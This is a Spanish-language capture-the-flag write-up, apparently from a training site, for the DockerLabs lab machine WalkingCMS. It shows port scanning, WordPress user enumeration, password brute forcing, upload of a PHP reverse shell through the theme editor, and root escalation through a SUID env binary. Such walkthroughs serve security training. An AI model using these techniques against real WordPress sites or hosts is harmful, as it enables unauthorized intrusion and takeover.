> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/walkingcms.md). # WalkingCMS ### **1. Despliegue de la máquina** #### **1.1. Descarga** Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **WalkingCMS** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución. #### **1.2. Descompresión** Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `walkingcms.zip`: ```bash 7z x walkingcms.zip ```
#### **1.3. Ejecución** Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `walkingcms.tar`: ```bash bash auto_deploy.sh walkingcms.tar ```
### **2. Reconocimiento** #### **2.1. Verificación de conectividad** Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa: ```bash ping -c 1 172.17.0.2 ```
#### **2.2. Escaneo de puertos** Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts ``` **Explicación de los parámetros:** * `-p-`: Escanea todos los puertos TCP del rango 1 al 65535. * `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados. * `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP. * `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo. * `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso. * `-n`: Evita la resolución DNS, usando solo direcciones IP. * `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible. * `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`. **Puerto abierto identificado:** * **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado** Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto: ```bash nmap -p80 -sCV 172.17.0.2 -oN targeted ``` **Explicación de los parámetros:** * `-p80`: Especifica el puerto a escanear. * `-sCV`: Combina el escaneo de versiones (`-sV`) con la ejecución de scripts básicos de reconocimiento (`-sC`). * `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`. **Resultado del escaneo:** * **Puerto 80:** Servicio identificado como `Apache httpd 2.4.57`.
#### **2.4. Análisis del servicio web** Al acceder al puerto 80 a través del navegador (`http://172.17.0.2/`), encontramos la página por defecto de Apache, que no proporciona información útil para la explotación.
#### **2.4.1. Enumeración de directorios y archivos** Realizamos una enumeración de directorios y archivos ocultos en el servidor web utilizando `gobuster`: ```bash gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php ``` **Resultado destacado:** * Detectamos el directorio `/wordpress`.
Al acceder a `http://172.17.0.2/wordpress/`, confirmamos que el sitio está desarrollado con WordPress.
### **3. Explotación** #### **3.1. Enumeración de usuarios con WPScan** Enumeramos los usuarios válidos de WordPress utilizando `wpscan` dentro de un contenedor en Docker: ```bash docker run --rm wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --enumerate u ``` **Resultado:** * **Identificamos un usuario válido:** `mario`.
#### **3.2. Fuerza bruta de contraseñas** Realizamos un ataque de fuerza bruta para descubrir la contraseña asociada al usuario `mario`, utilizando `wpscan` dentro de un contenedor en Docker: ```bash docker run --rm -v /usr/share/wordlists/seclists/Passwords:/usr/share/wordlists/seclists/Passwords wpscanteam/wpscan --url http://172.17.0.2/wordpress/ --usernames mario --passwords /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-dup.txt ``` **Resultado:** * **Credenciales válidas obtenidas:** `mario:love`.
#### **3.3. Acceso al panel de administración** Accedemos a la ruta `http://172.17.0.2/wordpress/wp-admin`, la cual nos redirige automáticamente a la página de inicio de sesión: `http://172.17.0.2/wordpress/wp-login.php?redirect_to=http%3A%2F%2F172.17.0.2%2Fwordpress%2Fwp-admin%2F&reauth=1`. Utilizamos las credenciales obtenidas previamente mediante fuerza bruta (`mario:love`) y logramos iniciar sesión exitosamente en el panel de administración de WordPress.
#### **3.4. Subida de reverse shell en PHP** Nos dirigimos al **Editor de temas** (Theme Editor) para modificar los archivos del tema activo. Creamos un archivo llamado `1.php` e insertamos en él una [reverse shell en PHP](https://www.revshells.com/), diseñada para establecer una conexión remota con nuestro equipo atacante.
#### **3.5. Ejecución de la reverse shell** Configuramos nuestro equipo atacante para escuchar en el puerto especificado en la reverse shell, utilizando `netcat`: ```bash nc -lvnp 1234 ```
A continuación, accedemos al archivo malicioso en `http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/1.php`, lo que activa la reverse shell previamente cargada.
Como resultado, obtenemos acceso remoto al sistema con los privilegios del usuario `www-data`.
### **4. Escalada de privilegios** #### **4.1. Búsqueda de binarios SUID** Buscamos binarios con permisos SUID que puedan ser explotados: ```bash find / -perm -4000 2>/dev/null ``` **Resultado relevante:** * `/usr/bin/env`: Binario con permisos SUID.
#### **4.2. Explotación con GTFOBins** Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/env/) para encontrar un método de explotación. Ejecutamos el siguiente comando para escalar privilegios: ```bash /usr/bin/env /bin/bash -p ``` Confirmamos que ahora somos el usuario `root`, completando con éxito la escalada de privilegios.